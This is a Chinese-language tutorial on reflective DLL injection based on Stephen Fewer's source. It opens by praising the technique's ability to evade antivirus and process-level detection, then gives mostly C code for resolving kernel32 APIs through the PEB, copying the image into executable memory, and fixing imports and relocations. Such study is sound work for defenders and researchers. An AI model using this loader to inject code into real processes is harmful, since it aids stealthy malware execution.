（源码作者：（HarmanySecurity）Stephen Fewer）
0x01 反射Dll注入的优点
1.反射Dll注入的主要优点是它没有以主机系统的任何方式(例如LoadLibrary和LoadLibraryEx)进行注册，因此在系统和进程级别上基本上都是不可检测的，并且反射DLL注入写入了较少的的shellcode，进一步降低被检测到的可能性。
1.在远程开发中使用反射DLL注入时，注入到宿主进程的Dll难以被反病毒的文件扫描器检测到，因为它从不会接触到磁盘，直接从内存中写入加载到宿主进程。
0x02 注入过程（原理）
反射Dll注入的过程分两大步，首先反射Dll注入将Dll从内存加载到宿主进程中。然后Dll将通过实现一个自实现的文件加载器程序来加载它自己（例如解析其导入表以及移到内存中的适当位置的重定位表修正），以满足dll的运行期望。然后，它就可以在宿主进程中，嗯，“参与”到宿主进程的“活动”中。
流程：
1.先将Dll映像文件（原始PE文件）写入到宿主进程空间当中
2.reflectiveloader将首先计算imagede 的当前位置，以便后续加载自己。
3.在宿主进程中查询Kernel32动态库，计算出三个函数的地址：即LoadLibraryA，GetProcAddress，VirtualAlloc。
4.reflectiveloader继续分配的内存中的连续区域，用于加载Dll.
5.reflectiveloader将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域。
6.reflectiveloader修正Dll中的导入表
7.reflectiveloader修正Dll中的重定位表
8.reflectiveloader加载工作完成后调用DLL入口点
0x03 加载Dll文件的reflectiveloader的关键流程具体实现
（1）查询Kernel32动态库，计算出三个函数的地址：即LoadLibraryA，GetProcAddress，VirtualAlloc：
首先要获取PEB：
#ifdef _WIN64 Peb = (PPEB)__readgsqword(0x60); #else #ifdef _WIN32 Peb = (PPEB)__readfsdword(0x30); #else #endif #endif
再通过PEB得到Kernel32动态库的地址，先看PEB的结构：
看到0x18偏移处的成员PEB_LDR_DATA:
其中的三个LIST_ENTRY链表，按照不同的顺序将当前进程加载的所有模块链接起来，遍历其中的任意一个LIST_ENTRY，都可以获得所有模块的基地址。
再看这个LDR_DATA_TABLE_ENTRY的结构：
通过PEB_LDR_DATA的和LDR_DATA_TABLE_ENTRY共有的三根链表，我们也能通过LDR_DATA_TABLE_ENTRY结构中的FULLDLLNAME成员得到模块名，用来确定kernel32模块，进一步得到模块基地址DllBase.
#define KERNEL32DLL_HASH 0x6A4ABC5B
Ldr = (ULONG_PTR)Peb->Ldr;
LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)((PPEB_LDR_DATA)Ldr)->InMemoryOrderModuleList.Flink;
while (LdrDataTableEntry)
{
ModuleName = (ULONG_PTR)LdrDataTableEntry->FullDllName.Buffer; //双字
ModuleNameLength = LdrDataTableEntry->FullDllName.Length;
ModuleHashValue = 0;
do
{
ModuleHashValue = ror((DWORD)ModuleHashValue);
if (*((BYTE *)ModuleName) >= 'a') //转换为大写
ModuleHashValue += *((BYTE *)ModuleName) - 0x20;
else
ModuleHashValue += *((BYTE *)ModuleName);
ModuleName++;
} while (--ModuleNameLength);
//在目标进程中查询Kernel32动态库
if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
{
//获得Kerner32.dll的模块地址
ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0]; //DllBase
得到kernel32的基地址后，再步步为营，得到NT头，数据目录表，导出表，从而在导出表中查找三个函数LoadLibraryA，GetProcAddress，VirtualAlloc的地址：
if ((DWORD)ModuleHashValue == KERNEL32DLL_HASH)
{
//获得Kerner32.dll的模块地址
ModuleBase = (ULONG_PTR)LdrDataTableEntry->Reserved2[0]; //DllBase
ImageNtHeaders = (ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
//有两个成员的结构体目录
ImageDataDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
//导出表地址
ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
AddressOfNames = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNames);
AddressOfNameOrdinals = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfNameOrdinals);
NumberOfNames = ((PIMAGE_EXPORT_DIRECTORY )ImageExportDirectory)->NumberOfNames;
IsLoop = 4;
// loop while we still have imports to find
while (IsLoop > 0&&NumberOfNames>0)
{
// compute the hash values for this function name
HashValue = MakeHashValue((char *)(ModuleBase + DEREFERENCE_32(AddressOfNames)));
// if we have found a function we want we get its virtual address
if (HashValue == LOADLIBRARYA_HASH ||
HashValue == GETPROCADDRESS_HASH ||
HashValue == VIRTUALALLOC_HASH ||
HashValue == EXITTHREAD_HSAH)
{
// get the VA for the array of addresses
AddressOfFunctions = (ModuleBase +
((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
AddressOfFunctions += (DEREFERENCE_16(AddressOfNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (HashValue == LOADLIBRARYA_HASH)
LoadLibraryA = (REFLECTIVELOADER::LPFN_LOADLIBRARYA)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
else if (HashValue == GETPROCADDRESS_HASH)
GetProcAddress = (REFLECTIVELOADER::LPFN_GETPROCADDRESS)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
else if (HashValue == VIRTUALALLOC_HASH)
VirtualAlloc = (REFLECTIVELOADER::LPFN_VIRTUALALLOC)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
else if (HashValue == EXITTHREAD_HSAH)
ExitThread = (REFLECTIVELOADER::LPFN_EXITTHREAD)(ModuleBase + DEREFERENCE_32(AddressOfFunctions));
// decrement our counter
IsLoop--;
}
// get the next exported function name
AddressOfNames += sizeof(DWORD);
// get the next exported function name ordinal
AddressOfNameOrdinals += sizeof(WORD);
NumberOfNames--;
}
（2）继续分配的内存中的连续区域，用于加载Dll，将Dll的 headers 和 sections 复制到宿主进程中的新分配的内存区域，内存粒度对齐各个节
// STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded ImageNtHeaders = (RemoteBufferData + ((PIMAGE_DOS_HEADER)RemoteBufferData)->e_lfanew); // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. VirtualAddress = (ULONG_PTR)VirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // we must now copy over the headers SizeOfHeaders = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.SizeOfHeaders; v1 = (BYTE*)RemoteBufferData; v2 = (BYTE*)VirtualAddress; while (SizeOfHeaders--) *(BYTE *)v2++ = *(BYTE *)v1++;
// uiValueA = the VA of the first section
ULONG_PTR ImageSectionHeader = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader +
((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
NumberOfSections = ((PIMAGE_NT_HEADERS)ImageNtHeaders)->FileHeader.NumberOfSections;
while (NumberOfSections--)
{
// uiValueB is the VA for this section
SectionVirtualAddress = (VirtualAddress + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->VirtualAddress);
// uiValueC if the VA for this sections data
SectionPointerToRawData = (RemoteBufferData + ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->PointerToRawData);
// copy the section over
SizeOfRawData = ((PIMAGE_SECTION_HEADER)ImageSectionHeader)->SizeOfRawData;
while (SizeOfRawData--)
*(BYTE *)SectionVirtualAddress++ = *(BYTE *)SectionPointerToRawData++;
// get the VA of the next section
ImageSectionHeader += sizeof(IMAGE_SECTION_HEADER);
}
（3）修正Dll中的导入表
修改DLL的导入表，使这些被引入的函数能正常运行。
PE文件的引入表是一个元素为IMAGE_IMPORT_DESCRIPTOR的数组。每一个被依赖的DLL都对应着数组中的一个元素。
（导入表的解析请见：http://www.cnblogs.com/lsh123/p/7754347.html）
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
ImageImportDescriptor = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
while (((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name)
{
// use LoadLibraryA to load the imported module into memory
ModuleBase = (ULONG_PTR)LoadLibraryA(
(LPCSTR)(VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->Name));
// uiValueD = VA of the OriginalFirstThunk
OriginalFirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
FirstThunk = (VirtualAddress + ((PIMAGE_IMPORT_DESCRIPTOR)ImageImportDescriptor)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREFERENCE(FirstThunk))
{
// 索引导入
if (OriginalFirstThunk && ((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
ImageNtHeaders = ModuleBase + ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew;
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
ImageExportDirectory = (ModuleBase + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
// get the VA for the array of addresses
AddressOfFunctions = (ModuleBase + ((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
AddressOfFunctions +=
((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)OriginalFirstThunk)->u1.Ordinal) -
((PIMAGE_EXPORT_DIRECTORY)ImageExportDirectory)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREFERENCE(FirstThunk) = (ModuleBase + DEREFERENCE_32(AddressOfFunctions));
}
else
{
//修正名称导入的函数地址
// get the VA of this functions import by name struct
ImageImportByName = (VirtualAddress + DEREFERENCE(OriginalFirstThunk));
// use GetProcAddress and patch in the address for this imported function
DEREFERENCE(FirstThunk) = (ULONG_PTR)GetProcAddress((HMODULE)ModuleBase,
(LPCSTR)((PIMAGE_IMPORT_BY_NAME)ImageImportByName)->Name);
}
// get the next imported function
FirstThunk += sizeof(ULONG_PTR);
if (OriginalFirstThunk)
OriginalFirstThunk += sizeof(ULONG_PTR);
}
// get the next import
ImageImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
（4）修正重定位表
数据目录表DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]指向的是重定位表（重定位表的解析请见：http://www.cnblogs.com/lsh123/p/7755187.html）
ImageNtHeaders = VirtualAddress + ((PIMAGE_DOS_HEADER)VirtualAddress)->e_lfanew;
Diff = VirtualAddress - ((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.ImageBase;
//代表重定向表的目录
ImageDataDirectory = (ULONG_PTR)&((PIMAGE_NT_HEADERS)ImageNtHeaders)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->Size)
{
//定位到重定向表
ImageBaseRelocation = (VirtualAddress + ((PIMAGE_DATA_DIRECTORY)ImageDataDirectory)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock)
{
//重定向表中的word表
v3 = (VirtualAddress + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->VirtualAddress);
// uiValueB = number of entries in this relocation block
ImageBaseRelocationItemCount =
(((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))
/ sizeof(IMAGE_BASE_RELOCATION_ITEM);
// uiValueD is now the first entry in the current relocation block
ImageBaseRelocationItem = ImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (ImageBaseRelocationItemCount--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset)
+= Diff;
else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset)
+= (DWORD)Diff;
else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_HIGH)
*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) +=
HIWORD(Diff);
else if (((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Type == IMAGE_REL_BASED_LOW)
*(WORD *)(v3 + ((PIMAGE_BASE_RELOCATION_ITEM)ImageBaseRelocationItem)->Offset) += LOWORD(Diff);
// get the next entry in the current relocation block
ImageBaseRelocationItem += sizeof(IMAGE_BASE_RELOCATION_ITEM);
}
// get the next entry in the relocation directory
ImageBaseRelocation = ImageBaseRelocation + ((PIMAGE_BASE_RELOCATION)ImageBaseRelocation)->SizeOfBlock;
}
}